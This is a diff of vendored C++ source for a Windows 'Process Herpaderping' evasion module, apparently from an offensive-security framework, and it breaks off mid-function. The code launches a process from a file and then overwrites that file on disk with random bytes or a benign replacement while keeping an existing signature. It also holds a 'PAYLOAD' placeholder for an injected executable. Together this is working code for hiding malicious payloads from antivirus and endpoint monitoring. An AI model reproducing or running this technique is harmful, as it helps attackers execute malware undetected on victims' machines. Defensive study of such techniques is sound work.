dprintf("Located target image entry RVA 0x%08x", imageEntryPointRva);
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
status = NtQueryInformationProcess(processHandle.get(),
|
||||
ProcessBasicInformation,
|
||||
&pbi,
|
||||
sizeof(pbi),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
REPORT_AND_RETURN_NT("Failed to query new process info", status);
|
||||
}
|
||||
|
||||
PEB peb{};
|
||||
if (!ReadProcessMemory(processHandle.get(),
|
||||
pbi.PebBaseAddress,
|
||||
&peb,
|
||||
sizeof(peb),
|
||||
nullptr))
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("Failed to read remote process PEB", GetLastError());
|
||||
}
|
||||
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
|
||||
|
||||
//
|
||||
// Herpaderp wants a pattern to use for obfuscation, set that up here.
|
||||
//
|
||||
std::span<const uint8_t> pattern;
|
||||
std::vector<uint8_t> patternBuffer;
|
||||
//
|
||||
// Setup a random pattern
|
||||
//
|
||||
patternBuffer.resize(Herpaderp::RandPatternLen);
|
||||
hr = BCryptGenRandom(nullptr,
|
||||
patternBuffer.data(),
|
||||
SCAST(ULONG)(patternBuffer.size()),
|
||||
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to generate random buffer", hr);
|
||||
}
|
||||
pattern = std::span<const uint8_t>(patternBuffer);
|
||||
|
||||
//
|
||||
// Alright, if a file name has been provided in _ReplaceWithFileName,
|
||||
// we will overwrite the target binary with it. Otherwise, we will
|
||||
// overwrite the target binary with a pattern.
|
||||
//
|
||||
if (Utils::ShouldReplaceWithFile(Herpaderp::_ReplaceWithFileName))
|
||||
{
|
||||
std::wstring ReplaceWithFileName;
|
||||
hr = Utils::GetFileName(Herpaderp::_ReplaceWithFileName, ReplaceWithFileName);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to retrieve the file name to replace with", hr);
|
||||
}
|
||||
dprintf("Replacing target with \"%S\"", ReplaceWithFileName.c_str());
|
||||
|
||||
FileHandle replaceWithHandle(ReplaceWithFileName);
|
||||
replaceWithHandle.get() = CreateFileW(ReplaceWithFileName.c_str(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ |
|
||||
FILE_SHARE_WRITE |
|
||||
FILE_SHARE_DELETE,
|
||||
nullptr,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr);
|
||||
|
||||
if (!replaceWithHandle.valid())
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("Failed to open replace with file", GetLastError());
|
||||
}
|
||||
|
||||
//
|
||||
// Replace the bytes. We handle a failure here. We'll fix it up after.
|
||||
//
|
||||
hr = Utils::CopyFileByHandle(replaceWithHandle.get(), targetHandle.get());
|
||||
if (FAILED(hr))
|
||||
{
|
||||
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to replace target file", hr);
|
||||
}
|
||||
|
||||
//
|
||||
// This error occurs when trying to truncate a file that has a
|
||||
// user mapping open. In other words, the file we tried to replace
|
||||
// with was smaller than the original.
|
||||
// Let's fix up the replacement to hide the original bytes and
|
||||
// retain any signer info.
|
||||
//
|
||||
dprintf("Fixing up target replacement, hiding original bytes and retaining any signature");
|
||||
|
||||
uint64_t replaceWithSize;
|
||||
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to get replace with file size", hr);
|
||||
}
|
||||
|
||||
uint32_t bytesWritten = 0;
|
||||
hr = Utils::OverwriteFileAfterWithPattern(targetHandle.get(),
|
||||
replaceWithSize,
|
||||
pattern,
|
||||
bytesWritten);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("Failed to hide original file bytes, %S", Utils::FormatError(hr).c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
hr = Utils::ExtendFileSecurityDirectory(targetHandle.get(), bytesWritten);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("Failed to retain file signature, %S", Utils::FormatError(hr).c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
replaceWithHandle.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("Overwriting target with pattern");
|
||||
|
||||
hr = Utils::OverwriteFileContentsWithPattern(targetHandle.get(), pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to write pattern over file", hr);
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Alright, at this point the process is going to be derpy enough.
|
||||
// Do the work necessary to make it execute.
|
||||
//
|
||||
dprintf("Preparing target for execution");
|
||||
dprintf("Writing process parameters, remote PEB ProcessParameters 0x%p",
|
||||
Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));
|
||||
|
||||
hr = Utils::WriteRemoteProcessParameters(
|
||||
processHandle.get(),
|
||||
TargetFileName,
|
||||
std::nullopt,
|
||||
std::nullopt,
|
||||
(L"\"" + TargetFileName + L"\""),
|
||||
NtCurrentPeb()->ProcessParameters->Environment,
|
||||
TargetFileName,
|
||||
L"WinSta0\\Default",
|
||||
std::nullopt,
|
||||
std::nullopt);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to write remote process parameters", hr);
|
||||
}
|
||||
|
||||
//
|
||||
// Create the initial thread, when this first thread is inserted the
|
||||
// process create callback will fire in the kernel.
|
||||
//
|
||||
|
||||
dprintf("Creating thread in process at entry point 0x%p", remoteEntryPoint);
|
||||
|
||||
AutoCloseHandle threadHandle;
|
||||
status = NtCreateThreadEx(&threadHandle.get(),
|
||||
THREAD_ALL_ACCESS,
|
||||
nullptr,
|
||||
processHandle.get(),
|
||||
remoteEntryPoint,
|
||||
nullptr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
nullptr);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
REPORT_AND_RETURN_NT("Failed to create remote thread, %S", status);
|
||||
}
|
||||
|
||||
dprintf("Created thread, TID %lu", GetThreadId(threadHandle.get()));
|
||||
|
||||
//
|
||||
// We're done with the target file handle. At this point the process
|
||||
// create callback will have fired in the kernel.
|
||||
//
|
||||
targetHandle.close();
|
||||
|
||||
//
|
||||
// Wait for the process to exit.
|
||||
//
|
||||
dprintf("Waiting for herpaderped process to exit");
|
||||
|
||||
WaitForSingleObject(processHandle.get(), INFINITE);
|
||||
|
||||
processHandle.terminate() = FALSE;
|
||||
|
||||
DWORD targetExitCode = 0;
|
||||
GetExitCodeProcess(processHandle.get(), &targetExitCode);
|
||||
|
||||
dprintf("Herpaderped process exited with code 0x%08x", targetExitCode);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
int wmain()
|
||||
{
|
||||
HRESULT hr = Herpaderp::ExecuteProcess();
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("Process Herpaderp Failed (%S)", Utils::FormatError(hr).c_str());
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
dprintf("Process Herpaderp Succeeded");
|
||||
return EXIT_SUCCESS;
|
||||
}
|
21
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/herpaderp.hpp
vendored
Executable file
21
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/herpaderp.hpp
vendored
Executable file
@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
|
||||
namespace Herpaderp
|
||||
{
|
||||
constexpr static char _TargetFileName[FILE_MAX_PATH] = { 'T', 'A', 'R', 'G', 'E', 'T', 'F', 'I', 'L', 'E', 'N', 'A', 'M', 'E' };
|
||||
constexpr static char _ReplaceWithFileName[FILE_MAX_PATH] = { 'R', 'E', 'P', 'L', 'A', 'C', 'E', 'F', 'I', 'L', 'E', 'N', 'A', 'M', 'E' };
|
||||
|
||||
// If the Herpaderping loader file is changed, update the following sizes accordingly
|
||||
// It should match the loader sizes (ProcessHerpaderpingTemplate_x64.exe and ProcessHerpaderpingTemplate_x86.exe)
|
||||
#ifdef _WIN64
|
||||
#define PAYLOAD_PE_SIZE 0x5000
|
||||
#else
|
||||
#define PAYLOAD_PE_SIZE 0x4800
|
||||
#endif
|
||||
|
||||
static unsigned char payload[PAYLOAD_PE_SIZE] = "PAYLOAD";
|
||||
|
||||
constexpr static uint32_t RandPatternLen{ 0x200 };
|
||||
|
||||
_Must_inspect_result_ HRESULT ExecuteProcess();
|
||||
}
|
1009
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/pch.hpp
vendored
Executable file
1009
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/pch.hpp
vendored
Executable file
File diff suppressed because it is too large
Load Diff
749
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/utils.cpp
vendored
Executable file
749
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/utils.cpp
vendored
Executable file
@ -0,0 +1,749 @@
|
||||
#include "pch.hpp"
|
||||
#include "utils.hpp"
|
||||
|
||||
_Use_decl_annotations_
|
||||
std::wstring Utils::FormatError(uint32_t Error)
|
||||
{
|
||||
LPWSTR buffer;
|
||||
std::wstring message;
|
||||
auto length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM |
|
||||
FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
nullptr,
|
||||
Error,
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
RCAST(LPWSTR)(&buffer),
|
||||
0,
|
||||
nullptr);
|
||||
if ((buffer != nullptr) && (length > 0))
|
||||
{
|
||||
message = std::wstring(buffer, length);
|
||||
}
|
||||
else
|
||||
{
|
||||
length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM |
|
||||
FORMAT_MESSAGE_FROM_HMODULE |
|
||||
FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
GetModuleHandleA("ntdll.dll"),
|
||||
Error,
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
RCAST(LPWSTR)(&buffer),
|
||||
0,
|
||||
nullptr);
|
||||
if ((buffer != nullptr) && (length > 0))
|
||||
{
|
||||
//
|
||||
// NT status codes are formatted with inserts, only use the
|
||||
// initial description if there is one, otherwise just use the
|
||||
// string as is.
|
||||
//
|
||||
message = std::wstring(buffer, length);
|
||||
if (message[0] == L'{')
|
||||
{
|
||||
auto pos = message.find(L'}', 1);
|
||||
if (pos != std::wstring::npos)
|
||||
{
|
||||
message = std::wstring(message.begin() + 1,
|
||||
message.begin() + pos);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (message.empty())
|
||||
{
|
||||
message = L"Unknown Error";
|
||||
}
|
||||
|
||||
std::wstringstream ss;
|
||||
ss << L"0x"
|
||||
<< std::hex << std::setfill(L'0') << std::setw(8) << Error
|
||||
<< L" - "
|
||||
<< std::move(message);
|
||||
|
||||
auto res = ss.str();
|
||||
EraseAll(res, { L'\r', L'\n', L'\t' });
|
||||
|
||||
LocalFree(buffer);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::FillBufferWithPattern(
|
||||
std::vector<uint8_t>& Buffer,
|
||||
std::span<const uint8_t> Pattern)
|
||||
{
|
||||
if (Buffer.empty())
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("FillBufferWithPattern: Buffer is empty", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
auto bytesRemaining = Buffer.size();
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
auto len = (Pattern.size() > bytesRemaining ?
|
||||
bytesRemaining
|
||||
:
|
||||
Pattern.size());
|
||||
|
||||
std::memcpy(&Buffer[Buffer.size() - bytesRemaining],
|
||||
Pattern.data(),
|
||||
len);
|
||||
|
||||
bytesRemaining -= len;
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::GetFileSize(
|
||||
handle_t FileHandle,
|
||||
uint64_t& FileSize)
|
||||
{
|
||||
FileSize = 0;
|
||||
|
||||
LARGE_INTEGER fileSize;
|
||||
if (GetFileSizeEx(FileHandle, &fileSize) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("GetFileSize: Error getting file size", GetLastError());
|
||||
}
|
||||
|
||||
if (fileSize.QuadPart < 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("GetFileSize: Invalid file size", ERROR_FILE_INVALID);
|
||||
}
|
||||
|
||||
FileSize = fileSize.QuadPart;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::SetFilePointer(
|
||||
handle_t FileHandle,
|
||||
int64_t DistanceToMove,
|
||||
uint32_t MoveMethod)
|
||||
{
|
||||
LARGE_INTEGER distance;
|
||||
distance.QuadPart = DistanceToMove;
|
||||
|
||||
if (SetFilePointerEx(FileHandle, distance, nullptr, MoveMethod) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("SetFilePointer: Error returned by SetFilePointerEx()", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::CopyFileByHandle(
|
||||
handle_t SourceHandle,
|
||||
handle_t TargetHandle)
|
||||
{
|
||||
//
|
||||
// Get the file sizes.
|
||||
//
|
||||
uint64_t sourceSize;
|
||||
if (FAILED(GetFileSize(SourceHandle, sourceSize)))
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error getting source file size", GetLastError());
|
||||
}
|
||||
|
||||
//
|
||||
// Set the file pointers to the beginning of the files.
|
||||
//
|
||||
HRESULT hr = SetFilePointer(SourceHandle, 0, FILE_BEGIN);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("CopyFileByHandle: Error setting source file pointer", hr);
|
||||
}
|
||||
hr = SetFilePointer(TargetHandle, 0, FILE_BEGIN);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("CopyFileByHandle: Error setting target file pointer", hr);
|
||||
}
|
||||
|
||||
uint64_t bytesRemaining = sourceSize;
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.assign(MaxFileBuffer, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
|
||||
}
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
if (ReadFile(SourceHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesRead, nullptr) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error reading source file", GetLastError());
|
||||
}
|
||||
|
||||
bytesRemaining -= bytesRead;
|
||||
|
||||
DWORD bytesWitten = 0;
|
||||
if (WriteFile(TargetHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesWitten, nullptr) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error writing target file", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (FlushFileBuffers(TargetHandle) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error flushing target file", GetLastError());
|
||||
}
|
||||
if (SetEndOfFile(TargetHandle) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error setting EoF on target file", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::OverwriteFileContentsWithPattern(
|
||||
handle_t FileHandle,
|
||||
std::span<const uint8_t> Pattern)
|
||||
{
|
||||
uint64_t targetSize;
|
||||
if (FAILED(Utils::GetFileSize(FileHandle, targetSize)))
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileContentsWithPattern: Error getting file size", GetLastError());
|
||||
}
|
||||
HRESULT hr = SetFilePointer(FileHandle, 0, FILE_BEGIN);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error setting file pointer", hr);
|
||||
}
|
||||
|
||||
uint64_t bytesRemaining = targetSize;
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.resize(MaxFileBuffer);
|
||||
hr = FillBufferWithPattern(buffer, Pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error in FillBufferWithPattern()", hr);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
hr = FillBufferWithPattern(buffer, Pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error in FillBufferWithPattern()", hr);
|
||||
}
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
hr = FillBufferWithPattern(buffer, Pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error in FillBufferWithPattern()", hr);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD bytesWritten = 0;
|
||||
if (WriteFile(FileHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesWritten, nullptr) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileContentsWithPattern: Error writing to file", GetLastError());
|
||||
}
|
||||
|
||||
bytesRemaining -= bytesWritten;
|
||||
}
|
||||
|
||||
if (FlushFileBuffers(FileHandle) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileContentsWithPattern: Error flushing file", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::OverwriteFileAfterWithPattern(
|
||||
handle_t FileHandle,
|
||||
uint64_t FileOffset,
|
||||
std::span<const uint8_t> Pattern,
|
||||
uint32_t& WrittenBytes)
|
||||
{
|
||||
WrittenBytes = 0;
|
||||
|
||||
uint64_t targetSize;
|
||||
if (FAILED(Utils::GetFileSize(FileHandle, targetSize)))
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: Error getting file size", GetLastError());
|
||||
}
|
||||
|
||||
if (FileOffset >= targetSize)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: FileOffset cannot be greater than targetSize", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
HRESULT hr = SetFilePointer(FileHandle, FileOffset, FILE_BEGIN);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error setting file pointer", hr);
|
||||
}
|
||||
|
||||
uint64_t bytesRemaining;
|
||||
bytesRemaining = (targetSize - FileOffset);
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.resize(MaxFileBuffer);
|
||||
hr = FillBufferWithPattern(buffer, Pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error in FillBufferWithPattern()", hr);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
hr = FillBufferWithPattern(buffer, Pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error in FillBufferWithPattern()", hr);
|
||||
}
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
hr = FillBufferWithPattern(buffer, Pattern);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error in FillBufferWithPattern()", hr);
|
||||
}
|
||||
}
|
||||
|
||||
if (WriteFile(FileHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesWritten, nullptr) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: Error writing to file", GetLastError());
|
||||
}
|
||||
|
||||
bytesRemaining -= bytesWritten;
|
||||
WrittenBytes += bytesWritten;
|
||||
}
|
||||
|
||||
if (FlushFileBuffers(FileHandle) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: Error flushing file", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::ExtendFileSecurityDirectory(
|
||||
handle_t FileHandle,
|
||||
uint32_t ExtendedBy)
|
||||
{
|
||||
uint64_t targetSize;
|
||||
if (FAILED(Utils::GetFileSize(FileHandle, targetSize)))
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error getting file size", GetLastError());
|
||||
}
|
||||
|
||||
ULARGE_INTEGER mappingSize;
|
||||
mappingSize.QuadPart = targetSize;
|
||||
MappingHandle mapping;
|
||||
mapping.get() = CreateFileMappingW(FileHandle,
|
||||
nullptr,
|
||||
PAGE_READWRITE,
|
||||
mappingSize.HighPart,
|
||||
mappingSize.LowPart,
|
||||
nullptr);
|
||||
if (!mapping.valid())
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error creating file mapping", GetLastError());
|
||||
}
|
||||
|
||||
mapping.view() = MapViewOfFile(mapping.get(),
|
||||
FILE_MAP_READ | FILE_MAP_WRITE,
|
||||
0,
|
||||
0,
|
||||
mappingSize.LowPart);
|
||||
if (mapping.view() == nullptr)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error returned by MapViewOfFile()", GetLastError());
|
||||
}
|
||||
|
||||
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(mapping.view());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
//
|
||||
// This is not a PE file, we're done.
|
||||
//
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Failed parse PE file", ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(mapping.view(), dosHeader->e_lfanew));
|
||||
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Failed parse PE NT Header (x32)", ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
IMAGE_DATA_DIRECTORY* secDir;
|
||||
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
{
|
||||
if (ntHeader->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
|
||||
{
|
||||
//
|
||||
// No security directory, we're done.
|
||||
//
|
||||
return S_OK;
|
||||
}
|
||||
secDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
|
||||
}
|
||||
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
||||
{
|
||||
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
|
||||
if (ntHeader64->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
|
||||
{
|
||||
//
|
||||
// No security directory, we're done.
|
||||
//
|
||||
return S_OK;
|
||||
}
|
||||
secDir = &ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
|
||||
}
|
||||
else
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Failed parse PE NT Header (x64)", ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
if ((secDir->VirtualAddress) == 0 || (secDir->Size == 0))
|
||||
{
|
||||
//
|
||||
// No security directory, we're done.
|
||||
//
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
//
|
||||
// Extend the security directory size.
|
||||
//
|
||||
secDir->Size = (secDir->Size + ExtendedBy);
|
||||
|
||||
if (FlushViewOfFile(mapping.view(), mappingSize.LowPart) == 0)
|
||||
{
|
||||
DWORD lastError = GetLastError();
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error flushing view of file", lastError);
|
||||
}
|
||||
|
||||
mapping.close();
|
||||
|
||||
if (FlushFileBuffers(FileHandle) == 0)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error flushing file", GetLastError());
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::GetImageEntryPointRva(
|
||||
handle_t FileHandle,
|
||||
uint32_t& EntryPointRva)
|
||||
{
|
||||
EntryPointRva = 0;
|
||||
|
||||
uint64_t fileSize;
|
||||
if (FAILED(Utils::GetFileSize(FileHandle, fileSize)))
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Error getting file size", GetLastError());
|
||||
}
|
||||
|
||||
ULARGE_INTEGER mappingSize;
|
||||
mappingSize.QuadPart = fileSize;
|
||||
MappingHandle mapping;
|
||||
mapping.get() = CreateFileMappingW(FileHandle,
|
||||
nullptr,
|
||||
PAGE_READONLY,
|
||||
mappingSize.HighPart,
|
||||
mappingSize.LowPart,
|
||||
nullptr);
|
||||
if (!mapping.valid())
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Error creating file mapping", GetLastError());
|
||||
}
|
||||
|
||||
mapping.view() = MapViewOfFile(mapping.get(),
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
0,
|
||||
mappingSize.LowPart);
|
||||
if (mapping.view() == nullptr)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Error returned by MapViewOfFile()", GetLastError());
|
||||
}
|
||||
|
||||
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(mapping.view());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Failed parse PE file", ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(mapping.view(), dosHeader->e_lfanew));
|
||||
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Failed parse PE NT Header (x32)", ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
{
|
||||
EntryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;
|
||||
}
|
||||
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
||||
{
|
||||
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
|
||||
EntryPointRva = ntHeader64->OptionalHeader.AddressOfEntryPoint;
|
||||
}
|
||||
else
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Failed parse PE NT Header (x64)", ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
mapping.close();
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
class OptionalUnicodeStringHelper
|
||||
{
|
||||
public:
|
||||
|
||||
OptionalUnicodeStringHelper(
|
||||
_In_opt_ const std::optional<std::wstring>& String) :
|
||||
m_String(String)
|
||||
{
|
||||
if (m_String.has_value())
|
||||
{
|
||||
RtlInitUnicodeString(&m_Unicode, m_String->c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
RtlInitUnicodeString(&m_Unicode, L"");
|
||||
}
|
||||
}
|
||||
|
||||
PUNICODE_STRING Get()
|
||||
{
|
||||
if (m_String.has_value())
|
||||
{
|
||||
return &m_Unicode;
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
operator PUNICODE_STRING()
|
||||
{
|
||||
return Get();
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
const std::optional<std::wstring>& m_String;
|
||||
UNICODE_STRING m_Unicode;
|
||||
|
||||
};
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::WriteRemoteProcessParameters(
|
||||
handle_t ProcessHandle,
|
||||
